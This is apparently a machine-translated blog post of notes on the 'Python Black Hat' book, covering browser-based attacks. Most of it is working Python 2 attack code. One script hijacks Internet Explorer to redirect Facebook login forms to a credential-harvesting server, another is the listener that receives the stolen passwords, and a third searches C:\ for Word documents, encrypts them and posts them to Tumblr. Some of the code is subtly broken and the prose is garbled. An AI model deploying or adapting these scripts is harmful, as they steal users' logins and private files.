Man in the middle attack based on Browser

#coding=utf-8
import win32com.client
import time
import urlparse
import urllib data_receiver = "http://localhost:8080/" target_sites = {}
target_sites["www.facebook.com"] = {
"logout_url" : None,
"logout_form" : "logout_form",
"login_form_index" : 0,
"owned" : False
} #IE Browser class ID Number
clsid = '{9BA05972-F6A8-11CF-A442-00A0C90A8F39}' windows = win32com.client.Dispatch(clsid) while True:
for browser in windows:
url = urlparse.urlparse(browser.LocationUrl)
if url.hostname in target_sites:
if target_sites[url.hostname]["owned"]:
continue
# If there is a URL, We can redirect
if target_sites[url.hostname]["logout_url"]:
browser.Navigate(target_sites[url.hostname]["logout_url"])
wait_for_browser(browser)
else:
# Retrieve all elements in the file
full_doc = browser.Document.all
#
for i in full_doc:
try:
# Find the form to log out and submit
if i.id == target_sites[url.hostname]["logout_url"]:
i.submit()
wait_for_browser(browser)
except:
pass # Now let's modify the login form
try:
login_index = target_sites[url.hostname]["login_form_index"]
login_page = urllib.quote(browser.LocationUrl)
browser.Document.forms[login_index].action = "%s%s"%(data_receiver,login_page)
target_sites[url.hostname]["owned"] = True
except:
pass
time.sleep(5) def wait_for_browser(browser):
# Wait for the browser to load a page
while browser.ReadyState != 4 and browser.ReadyState != "complete":
time.sleep(0.1) return

Create a receiving server

import SimpleHTTPServer
import SocketServer
import urllib class CredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
"""docstring for CredRequestHandler"""
def do_POST(self):
content_length = int(self.headers['Content-Length'])
creds = self.rfile.read(content_length).decode('utf-8')
print creds
site = self.path[1:]
self.send_response(301)
self.send_headers('Location',urllib.unquote(site))
self.end_headers() server = SocketServer.TCPServer(('0.0.0.0',8080),CredRequestHandler)
server.serve_forever()

utilize IE Of COM Component automation technology steals data

keygen.py:

#!/usr/bin/python
from Crypto.PublicKey import RSA new_key = RSA.generate(2048,e=65537)
public_key = new_key.publickey().exportKey("PEM")
private_key = new_key.exportKey("PEM") print public_key
print private_key

decrypto.py:

#coding=utf-8
import zlib
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP private_key = " Enter the generated public key " rsakey = RSA.importKey(private_key)
rsakey = PKCS1_OAEP.new(rsakey) chunk_size = 256
offset = 0
decrypted = ""
encrypted = base64.b64decode(encrypted) while offset < len(encrypted):
decrypted += rsakey.decrypted(encrypted[offset:offset+chunk_size])
offset += chunk_size # Decompress the load
plaintext = zlib.decompress(decrypted) print plaintext

This code will be used to depend on tumblr Encoding file for base64 decode , So as to form the original plaintext string , Finally, decompress the load .

ie_exfil.py:

#coding=utf-8
import win32com.client
import os
import fnmatch
import time
import random
import zlib
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP doc_type = ".doc"
username = "lyshark"
password = "" public_key = " Public key " def wait_for_browser(browser):
# Wait for the browser to load a page
while browser.ReadyState != 4 and browser.ReadyState != "complete":
time.sleep(0.1) return def encrypt_string(plaintext):
chunk_size = 256
print "Compressing: %d bytes"%len(plaintext)
plaintext = zlib.compress(plaintext) print "Encrypting %d bytes"%len(plaintext) rsakey = RSA.importKey(public_key)
rsakey = PKCS1_OAEP.new(rsakey) encrypted = ""
offset = 0 while offset < len(plaintext):
chunk = plaintext[offset:offset+chunk_size] if len(chunk) % chunk_size != 0:
chunk += " " * (chunk_size - len(chunk)) encrypted += rsakey.encrypt(chunk)
offset += chunk_size encrypted = encrypted.encode("base64") print "Base64 encoded crypto: %d"%len(encrypted) return encrypted def encrypt_post(filename):
# Open and read the file
fd = open(filename,"rb")
contents = fd.read()
fd.close() encrypted_title = encrypt_string(filename)
encrypted_body = encrypt_string(contents) return encrypted_title,encrypted_body def random_sleep():
time.sleep(random.randint(5,10))
return def login_to_tumblr(ie):
# Parse all the elements in the document
full_doc = ie.Document.all # Iterate over each element to find the login form
for i in full_doc:
if i.id == "signup_email":
i.setAttribute("value",username)
elif i.id == "signup_password":
i.setAttribute("value",password) random_sleep() try:
# You'll come across different landing homepages
if ie.Document.forms[0].id == "signup_form":
ie.Document.forms[0].submit()
else:
ie.Document.forms[1].submit()
except IndexError, e:
pass random_sleep() # The login form is the second form in the login page
wait_for_browser(ie) return def post_to_tumblr(ie,title,post):
full_doc = ie.Document.all for i in full_doc:
if i.id == "post_one":
i.setAttribute("value",title)
title_box = i
i.focus()
elif i.id == "post_two":
i.setAttribute("innerHTML",post)
print "Set text area"
i.focus()
elif i.id == "create_post":
print "Found post button"
post_form = i
i.focus() # Move the browser's focus away from the window where the main content is entered
random_sleep()
title_box.focus()
random_sleep() # Submit Form
post_form.children[0].click()
wait_for_browser(ie) random_sleep() return def exfiltrate(document_path):
ie = win32com.client.Dispatch("InternetExplorer.Application")
ie.Visible = 1 # visit tumblr Site and log in
ie.Navigate("https://www.tumblr.com/login")
wait_for_browser(ie) print "Logging in..."
login_to_tumblr(ie)
print "Logged in...navigating" ie.Navigate("https://www.tumblr.com/new/text")
wait_for_browser(ie) # Encrypt file
title,body = encrypt_post(document_path) print "Creating new post..."
post_to_tumblr(ie,title,body)
print "Posted!" # The destruction IE example
ie.Quit()
ie = None return # The cycle of user document retrieval
# Be careful : The first line of the following code doesn't have “tab” Indent
for parent,directories,filenames in os.walk("C:\\"):
for filename in fnmatch.filter(filenames,"*%s"%doc_type):
document_path = os.path.join(parent,filename)
print "Found: %s"%document_path
exfiltrate(document_path)
raw_input("Continue?")

The code is used to capture Word file , And use the public key to encrypt it , Then automatically start the process to submit the encrypted document to a tumblr.com On the site's blog

《Python Black hat : Hacking and penetration testing programming 》 Play with the browser for more articles

  1. python Black hat - Hacking and penetration testing programming ( Source code )

    link : https://pan.baidu.com/s/1i5BnB5V   password : ak9t

  2. Reading notes ~ Python Black hat Hacking and penetration testing programming

    Python Black hat   Hacking and penetration testing programming   <<< Ongoing update >>> Chapter one : Set up python Environmental Science 1.python Package management tool installation root@star ...

  3. 2017-2018-2 20179204 PYTHON Black hat Hacking and penetration testing programming

    python See the code cloud for the code :20179204_gege Reference blog Python Black hat -- Hacking and penetration testing programming . About <Python Black hat : Hacking and penetration testing programming > Learning notes of The first 2 Chapter Network foundation t ...

  4. 《Python Black hat : Hacking and penetration testing programming 》 Expand Burp agent

    download jython, stay Burpsuite In the extension of jython route : Burp Fuzzy testing : #!/usr/bin/python #coding=utf-8 # Import three classes , among IBurpExtender ...

  5. 《Python Black hat : Hacking and penetration testing programming 》 Web attack

    Web Socket library for :urllib2 It started with urllib2.py Naming scripts , stay Sublime Text Run in error , After correction, it is found that it has the same name , Just change it : #!/usr/bin/python #coding ...

  6. 《Python Black hat : Hacking and penetration testing programming 》 Scapy: The master of the Internet

    steal email authentication : Test code : #!/usr/bin/python #coding=utf-8 from scapy.all import * # Packet callback function def packet_callbac ...

  7. 《Python Black hat : Hacking and penetration testing programming 》 Network foundation

    TCP client : Example socket Object has two parameters ,AF_INET The parameters indicate the use of IPv4 Address or host name SOCK_STREAM The parameter representation is a TCP client . Access to the URL It's Baidu. . #coding=utf-8 i ...

  8. 《Python Black hat : Hacking and penetration testing programming 》 Windows Trojan horse under the common functions

    Interesting keyboarding : install pyHook: http://nchc.dl.sourceforge.net/project/pyhook/pyhook/1.5.1/pyHook-1.5.1.win32-py2 ...

  9. 《Python Black hat : Hacking and penetration testing programming 》 be based on GitHub Command and control of

    GitHub Account settings : In this part, you can type the order according to the book , Of course, you have to register one first GitHub The account number has been installed before GitHub API library (pip install github3.py), Here's just a list of orders : mkd ...

Random recommendation

  1. Wince 6.0 apply .NET Use HttpRequest Of Post Upload files , Server side Web API receive Post Uploaded files Code

    // Examples of calls private string fileName = "InStorageData.csv"; string filePath = parentPath + Comm ...

  2. Use Notepad++ Instead of clumsy Arduino IDE

    Arduino Self contained IDE It's not easy to use , Here's how to use powerful , Lightweight , free , Open source , Rich plugins Notepad++ Editor to create Arduino development environment . The configuration process may be a little cumbersome for freshmen , But I tried to be very detailed , ...

  3. jqGrid Plug in overload table solution

    jqGrid Plug in overload table solution $("#table_list_1").empty();// Clear the contents of the form var parent=$("#gbox_table_lis ...

  4. About css Disable text copy properties

    Recently doing DHTMLX Frame replacement , New framework dhx Of grid You can't copy the selected content Although relatively safe , But the customer experience is bound to be greatly reduced The prohibition of copying on Web pages mainly depends on JavaScript To achieve .<BODY onc ...

  5. MongoDB Introductory series ( 3、 ... and ): Inquire about (SELECT)

    One . summary mongodb It's closest to a relational database NOSQL database , It's very flexible to store : So much so that you think of it as a redundant table in a relational database , This is also Mongodb A feature of atomicity . Because there is no relational database ...

  6. SMS use weixin://connectToFreeWifi/?apKey= The protocol jumps to wechat to open the landing page h5

    Wechat store wifi Interface , Jump at any station , Jump to QR code long press identify add powder , The interface supports dynamic parameter transfer , Support wechat payment and other special interface docking . The code is as follows <head> <meta charset="utf ...

  7. Java Multithreading -- Basic concepts

    Java Multithreading -- Basic concepts Some concepts that must be known Synchronous and asynchronous Once the synchronization method starts , The caller must wait until the method call returns , To perform subsequent actions : Asynchronous method calls , Once you start , Method call returns immediately , The caller can continue without waiting ...

  8. forget word out4

    1* be send ~ Become :   2* bene bene   3* bi 2, Two , double   4* by stay ~ side , Vice  

  9. JZYZOJ 1360 [usaco2011feb] Character problem DP Tree array discretization

    http://172.20.6.3/Problem_Show.asp?id=1360   Good to think and write   Code #include<iostream> #include<cstdio&g ...

  10. C Language Pointer to function

    #include <stdio.h> int sum(int a, int b) { int c = a + b; printf("%d + %d = %d\n", a ...